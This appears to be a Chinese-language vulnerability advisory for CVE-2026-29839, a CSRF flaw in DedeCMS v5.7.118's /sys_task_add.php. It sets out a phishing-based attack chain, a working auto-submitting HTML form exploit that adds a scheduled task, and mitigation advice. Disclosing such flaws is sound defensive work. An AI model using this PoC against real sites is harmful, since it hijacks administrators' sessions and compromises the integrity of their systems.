IPBUF安全漏洞报告
English
CVE-2026-29839 CVSS 8.8 高危

CVE-2026-29839 DedeCMS跨站请求伪造漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-29839
漏洞类型
跨站请求伪造(CSRF)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
DedeCMS

相关标签

CSRFDedeCMS跨站请求伪造Web漏洞高危

漏洞概述

DedeCMS v5.7.118 版本被发现存在跨站请求伪造(CSRF)漏洞。该漏洞位于系统的 /sys_task_add.php 文件中。由于缺乏有效的令牌验证机制,攻击者可以诱导已登录的管理员访问恶意构造的页面,从而在受害者不知情的情况下执行添加计划任务等操作。鉴于该漏洞无需认证即可触发攻击向量(尽管需要用户交互),且可能对系统的机密性、完整性和可用性造成严重影响,风险等级较高。

技术细节

该漏洞的根源在于 DedeCMS 的 /sys_task_add.php 接口在处理添加计划任务的请求时,未对请求来源进行严格的身份验证。具体而言,服务器端没有验证请求中是否包含有效的 CSRF Token,也没有检查 HTTP Referer 头部是否合法。攻击者可以构建一个恶意的 HTML 页面,其中包含一个自动提交的表单,该表单的 action 指向目标系统的 /sys_task_add.php,并填入攻击者意图添加的恶意任务参数。当已登录的管理员访问该恶意页面时,浏览器会自动携带管理员的 Session Cookie 向服务器发送请求。由于服务器认为这是一个合法的管理员操作,便会执行添加任务的操作。这种攻击利用了用户对受信任网站的隐式信任,从而绕过了同源策略的限制,导致非预期的操作被执行。

攻击链分析

STEP 1
步骤1:侦察
攻击者识别出目标系统正在使用 DedeCMS v5.7.118,并确认管理员处于登录状态。
STEP 2
步骤2:武器化
攻击者构建一个包含恶意 HTML 表单的页面,该表单指向 /sys_task_add.php,并预设了恶意的任务参数。
STEP 3
步骤3:传递
攻击者通过钓鱼邮件或社会工程学手段,诱导管理员点击访问该恶意 URL。
STEP 4
步骤4:利用
管理员浏览器在加载页面时,自动携带当前会话 Cookie 向服务器发送 POST 请求。
STEP 5
步骤5:达成目标
服务器接收请求并执行添加任务操作,导致系统完整性受损或执行未授权代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Proof of Concept for CVE-2026-29839 --> <!-- CSRF Exploit for DedeCMS v5.7.118 --> <html> <body> <form action="http://target-site/dede/sys_task_add.php" method="POST"> <input type="hidden" name="dopost" value="save" /> <input type="hidden" name="taskname" value="Malicious_Task" /> <input type="hidden" name="nextruntime" value="2026-12-31 00:00:00" /> <input type="hidden" name="runtime" value="1" /> <input type="hidden" name="isexecute" value="1" /> <input type="submit" value="Submit Request" /> </form> <script> // Automatically submit the form when the page loads document.forms[0].submit(); </script> </body> </html>

影响范围

DedeCMS v5.7.118

防御指南

临时缓解措施
建议管理员暂时避免点击不明来源的链接,并在后台操作完成后及时注销登录。开发者应尽快在表单处理逻辑中增加 Anti-CSRF Token 校验,确保每个状态改变请求都具有随机且不可预测的令牌,同时修复 HTTP Referer 校验逻辑以防止跨域请求伪造。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表